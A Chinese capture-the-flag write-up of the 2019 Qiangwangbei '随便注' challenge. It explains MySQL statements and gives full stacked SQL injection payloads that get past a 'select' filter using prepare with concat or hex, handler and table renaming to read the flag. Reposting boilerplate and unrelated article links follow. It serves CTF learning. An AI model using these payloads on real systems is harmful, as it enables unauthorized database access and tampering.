[强网杯 2019]随便注

[强网杯 2019]随便注 wp

强烈推荐博客:[强网杯 2019]随便注 1【SQL注入】四种解法

这篇博客已经把解题过程讲得很清楚了,本文着重补充扩展知识,目的是帮助自己更好地掌握。解题步骤在最后。

show 语句的用法

推荐博客:MySQL中show语法使用总结

查看所有数据库:

show databases;

查看数据库中所有的表:

show tables from database_name;

查看当前数据库下所有的表:

show tables;

查看表中所有的列:

show columns from database_name.table_name;

如果 database_name 是当前数据库,那么也可以省略。

注意最后一定要带分号。

在本题中,select 关键字被过滤,可以使用 show 语句查询。

DESC 语句的用法

推荐文章:在 MySQL 中使用 DESC 查看一个表的所有的列

在 MySQL 中,DESC 语句用来显示一个表的所有的列的信息。MySQL DESC 语句是 SHOW COLUMNS 的简化形式。

语法:

DESC [database_name.]table_name

在本题中,select 关键字被过滤,查询列名时,DESC 语句和 SHOW COLUMNS 语句都可以用。

sql 语句反引号

推荐博客:

在mysql语句中为什么要加反引号

mysql 标识符以数字开头

sql 语句中的反引号是为了区分 MySQL 的保留字与普通字符而引入的符号。

例如:

SELECT `select` FROM `test` WHERE select='字段值'

在这里,select 是关键字,使用反引号将其标识为普通字符,如果不使用,会出现语法错误。

此外,当标识符以数字开头时,也需要添加反引号,否则该标识符会被解析为一个数字常量,截断到数字部分,造成语法错误。

例如,表名为 123table 时,如果不加反引号,会被解析为 123 。

在本题中,flag 列所在的表名为 1919810931114514 ,需要添加反引号。

prepare 预编译语句

推荐博客:预编译语句(Prepared Statements)介绍,以MySQL为例

语法:

预编译:

PREPARE name FROM statement;

执行:

EXECUTE name [USING @var_name [, @var_name] ...];

例如:

prepare ins from 'insert into t select ?,?';
set @a=999,@b='hello';
execute ins using @a,@b;

? 作为占位符,@a 和 @b 会填充到问号的位置。

在本题中,prepare 预编译语句用来在最后查看 flag 时绕过 select 的过滤:

一种方式是使用 concat 函数进行字符串拼接:

-1'; prepare a from concat('sel','ect flag from `1919810931114514`');execute a; --+

另一种方法是使用 十六进制编码:

-1';prepare a from 0x73656C65637420666C61672066726F6D20603139313938313039333131313435313460;execute a;#

其中 73656C65637420666C61672066726F6D20603139313938313039333131313435313460 是

select flag from `1919810931114514`

的十六进制编码。

handler 语句操作表

HANDLER 语句是 MySQL 特有的,它不属于 SQL 标准中的一部分。

参考:HANDLER 语句- MySQL 8.0 参考手册

打开表:

HANDLER table_name OPEN

HANDLER ... READ 语法获取一行:

# 第一种HANDLER ... READ语法获取一行,其中指定的索引满足给定的值并且满足 WHERE条件。
HANDLER tbl_name READ index_name { = | <= | >= | < | > } (value1,value2,...)
    [ WHERE where_condition ] [LIMIT ... ]

# 第二种HANDLER ... READ语法以符合 WHERE条件的索引顺序从表中获取一行。 
HANDLER tbl_name READ index_name { FIRST | NEXT | PREV | LAST }
    [ WHERE where_condition ] [LIMIT ... ]

# 第三种HANDLER ... READ语法以符合 WHERE条件的自然行顺序从表中获取一行。
HANDLER tbl_name READ { FIRST | NEXT }
    [ WHERE where_condition ] [LIMIT ... ]

关闭表:

HANDLER table_name CLOSE

在本题中,由于 select 被过滤,可以用 handler 语句直接查看 flag 。

-1';handler `1919810931114514` open;handler `1919810931114514` read first;handler `1919810931114514` close--+

alter 语句修改名称

推荐教程:SQL ALTER TABLE 语句

修改表名:

alter table table_name rename to new_name

修改表中的列名:

alter table table_name change column_name new_name new_data_type

在本题中,通过:

-1';show tables;--+

可以发现当前数据库中只有两个表:words 和 1919810931114514 。

分别查看这两个表的列:

-1';show columns from words;--+
-1';show columns from `1919810931114514`;--+

可以发现 flag 列存在于 1919810931114514 表中,故而默认显示的是 words 表的内容。select 被过滤,无法直接查看 flag 。那么可以通过将 1919810931114514 表的表名修改为 words ,将列名 flag 修改为 words 中存在的列名,那么 flag 就可以直接被查询出来。

-1';alter table words rename to words1;alter table `1919810931114514` rename to words;alter table words change flag id varchar(50);#

最后通过 1' or 1=1--+ 成功查询出来。

这里需要注意的是,输入框中输入的字符会被拼接到 id 查询中,故而 id 字段必须存在,所以这里是将 flag 字段改名为 id 。

解题步骤:

测试注释符,在 nssctf 上用 # 不行,所以我用的是 --+ :

1' or 1=1--+

测试回显位数,两列:

1' group by 2--+

查询数据库,由于点被过滤,暂时无法查询其他数据库中表的列名,故而这一步无用:

-1';show databases;--+

查询当前数据库下的所有表:

-1';show tables;--+

查询 1919810931114514 表中的所有列,两种方法:

-1';show columns from `1919810931114514`;--+
# 或
-1';desc `1919810931114514`; --+

查询 flag ,多种方法:

prepare+concat:

-1'; prepare a from concat('sel','ect flag from `1919810931114514`');execute a; --+

prepare+十六进制编码:

-1';prepare a from 0x73656C65637420666C61672066726F6D20603139313938313039333131313435313460;execute a;#

handler 查询表:

-1';handler `1919810931114514` open;handler `1919810931114514` read first;handler `1919810931114514` close--+

alter 修改名称:

-1';alter table words rename to words1;alter table `1919810931114514` rename to words;alter table words change flag id varchar(50);#

最后用 -1' or 1=1--+ 查询出所有内容。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/287579.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

『华为云耀云服务器实战』|云服务器如何快速搭建个人博客(图文详解)

文章目录 引言一、云耀云服务器L实例介绍1.1 准备一个华为云耀云服务器1.2 重置实例密码1.3 利用xshell 远程连接 二、安装环境软件2.1 安装git准备远程拉取2.2 安装Docker 和 Docker compose 三、博客开源项目介绍3.1 操作界面展览 四、拉取项目搭建个人博客4.1 拉取项目进行配…

【算法】一维、二维前缀和 解决算法题(C++)

文章目录 1. 前缀和算法 介绍2. 一维前缀和 模板引入DP34【模板】前缀和 3. 利用一维前缀和 解题724.寻找数组的中心下标238.除自身以外数组的乘积560.和为K的子数组974.和可被K整除的子数组525.连续数组 二维前缀和 模板1314.矩阵区域和 1. 前缀和算法 介绍 前缀和算法 用于高…

白话机器学习的数学-3-评估

1、 模型评估 那我们如何测量预测函数 fθ(x)的正确性&#xff0c;也就是精度呢&#xff1f; 观察函数的图形&#xff0c;看它能否很好地拟合训练数据&#xff1a; 这是只有一个变量的简单问题&#xff0c;所以才能在图上展 示出来。 过像多重回归这样的问题&#xff0c;变量增…

x-cmd pkg | bit - 实验性的现代化 git CLI

目录 简介首次用户功能特点竞品和相关作品进一步探索 简介 bit&#xff0c;由 Chris Walz 于 2020 年使用 Go 语言开发&#xff0c;提供直观的命令行补全提示和建立在 git 命令之上的封装命令&#xff0c;旨在建立完全兼容 git 命令的现代化 CLI。 首次用户 使用 x bit 即可自…

【华为机试】2023年真题B卷(python)-矩阵元素的边界值

一、题目 题目描述&#xff1a; 给定一个N*M矩阵&#xff0c;请先找出M个该矩阵中每列元素的最大值&#xff0c;然后输出这M个值中的最小值。 补充说明: N和M的取值范围均为: [0,100] 二、示例 示例1&#xff1a; 输入: [[1,2],[3,4]] 输出: 3 说明: 第一列元素为: 1和3&…

Linux 进程(五) 调度与切换

概念准备 当一个进程放在cpu上运行时&#xff0c;是必须要把进程的代码跑完才会进行下一个进程吗&#xff1f;答案肯定是 不对。现在的操作系统都是基于时间片轮转执行的。 时间片&#xff08;timeslice&#xff09;又称为“量子&#xff08;quantum&#xff09;”或“处理器片…

求职招聘小程序平台运营版系统源码 全开源源代码 附带完整的安装与部署教程

近年来&#xff0c;移动互联网的普及&#xff0c;求职招聘行业也在逐步向数字化转型。在这个过程中&#xff0c;小程序因其便捷性、即时性等特点&#xff0c;成为了求职者和招聘方的新宠。罗峰来给大家分享一款求职招聘小程序平台运营版系统源码&#xff0c;致力于为用户提供高…

安装elasticsearch、kibana、IK分词器、扩展IK词典

安装elasticsearch、kibana、IK分词器、扩展IK词典 后面还会安装kibana&#xff0c;这个会提供可视化界面方面学习。 需要注意的是elasticsearch和kibana版本一定要一样&#xff01;&#xff01;&#xff01; 否则就像这样 elasticsearch 1、创建网络 因为我们还需要部署k…

Unable to connect to Redis server

报错内容&#xff1a; Exception in thread "main" org.redisson.client.RedisConnectionException: java.util.concurrent.ExecutionException: org.redisson.client.RedisConnectionException: Unable to connect to Redis server: 175.24.186.230/175.24.186.230…

Elasticsearch:带有自查询检索器的聊天机器人示例

本工作簿演示了 Elasticsearch 的自查询检索器 (self-query retriever) 将问题转换为结构化查询并将结构化查询应用于 Elasticsearch 索引的示例。 在开始之前&#xff0c;我们首先使用 langchain 将文档分割成块&#xff0c;然后使用 ElasticsearchStore.from_documents 创建…

多粒度在研究中的应用

FontDiffuser: One-Shot Font Generation via Denoising Diffusion with Multi-Scale Content Aggregation and Style Contrastive Learning 存在的问题 现有的字体生成方法虽然取得了令人满意的性能&#xff0c;但在处理复杂字和风格变化较大的字符(尤其是中文字符)时&#x…

lunux(mysql下载以及操作)

下载mysql 查看镜像 docker images 下载MySQL镜像 mysql/mysql-server:8.0 创建文件夹&#xff0c;创建配置文件和放数据文件 mkdir -p /data/mysql/{conf,,data} 创建配置文件 my.cnf 写入配置文件my.cnf的代码 [client] default-character-setutf8[mysql] de…

MySQL数据库高级SQL语句及存储过程

目录 一、高级SQL语句 &#xff08;一&#xff09;case语句 1.语法定义 2.示例 &#xff08;二&#xff09;空值(NULL) 和 无值( ) 1.区别 2.示例 &#xff08;1&#xff09;字符长度 &#xff08;2&#xff09;判断方法 ① 空值(NULL) ② 无值( ) &#xff08;3…

了解Apache 配置与应用

本章内容 理解 Apache 连接保持 掌握 Apache 的访问控制 掌握 Apache 日志管理的方法 Apache HTTP Server 之所以受到众多企业的青睐&#xff0c;得益于其代码开源、跨平台、功能 模块化、可灵活定制等诸多优点&#xff0c;不仅性能稳定&#xff0c;在安全性方面的表现也十分…

物联网-物联网概念初识

物联网&#xff1a;将无线通信技术、传感设备、全球定位系统或其他信息获取方式等各种传感器嵌入到各种物体、设施中。 物联网三层架构 感知层 ——> 传输层 ——> 应用层 一、物联网通信协议 LoRa技术&#xff1a;基于扩频技术的超远距离无线传输方案&#xff0c;Lo…

C++上位软件通过Snap7开源库访问西门子S7-200/合信M226ES数据块的方法

前言 上一篇文章中介绍了Snap7访问西门子S7-1200/S7-1500 DB块的方法&#xff0c;对于S7-200PLC是没有数据块访问的。S7-200PLC中Snap7只能通过访问MB块&#xff0c;VB块的方法进行和PLC之间的Snap7通信和数据交换。手头没有S7-200PLC故通过合信CTMC M226ES运动控制器进行测试&…

以爱之名,与“EYE”同行 蔡司光学公益行一直在路上

用心传递公益温暖之力&#xff0c;助力更多乡村学童拥有光明未来。2023年12月26日&#xff0c;一场以“EYE”为主题的公益活动正在中卫市宣和镇东台小学举办。本次&#xff0c;眼视光领域领军品牌蔡司光学携手中卫德明眼科的专业视光团队一同来到活动现场&#xff0c;为该校全体…

C++八股学习心得.2

1.C常量 常量是固定值&#xff0c;在程序执行期间不会改变。这些固定的值&#xff0c;又叫做字面量。 常量可以是任何的基本数据类型&#xff0c;可分为整型数字、浮点数字、字符、字符串和布尔值。 常量就像是常规的变量&#xff0c;只不过常量的值在定义后不能进行修改。 …

C# 语法进阶 委托

1.委托 委托是一个引用类型&#xff0c;其实他是一个类&#xff0c;保存方法的指针 &#xff08;指针&#xff1a;保存一个变量的地址&#xff09;他指向一个方法&#xff0c;当我们调用委托的时候这个方法就立即被执行 关键字&#xff1a;delegate 运行结果&#xff1a; 思…

第二证券:停牌意味着什么?

股票停牌的原因&#xff1f; 一般来说&#xff0c;股票停牌的原因可以分为以下几类&#xff1a; 1、上市公司有严峻情况变化&#xff0c;如企业并购、重组等&#xff0c;为了确保生意顺利完成和信息宣布的及时、充分、准确&#xff0c;避免商场出现信息不对称的情况&#xff…
最新文章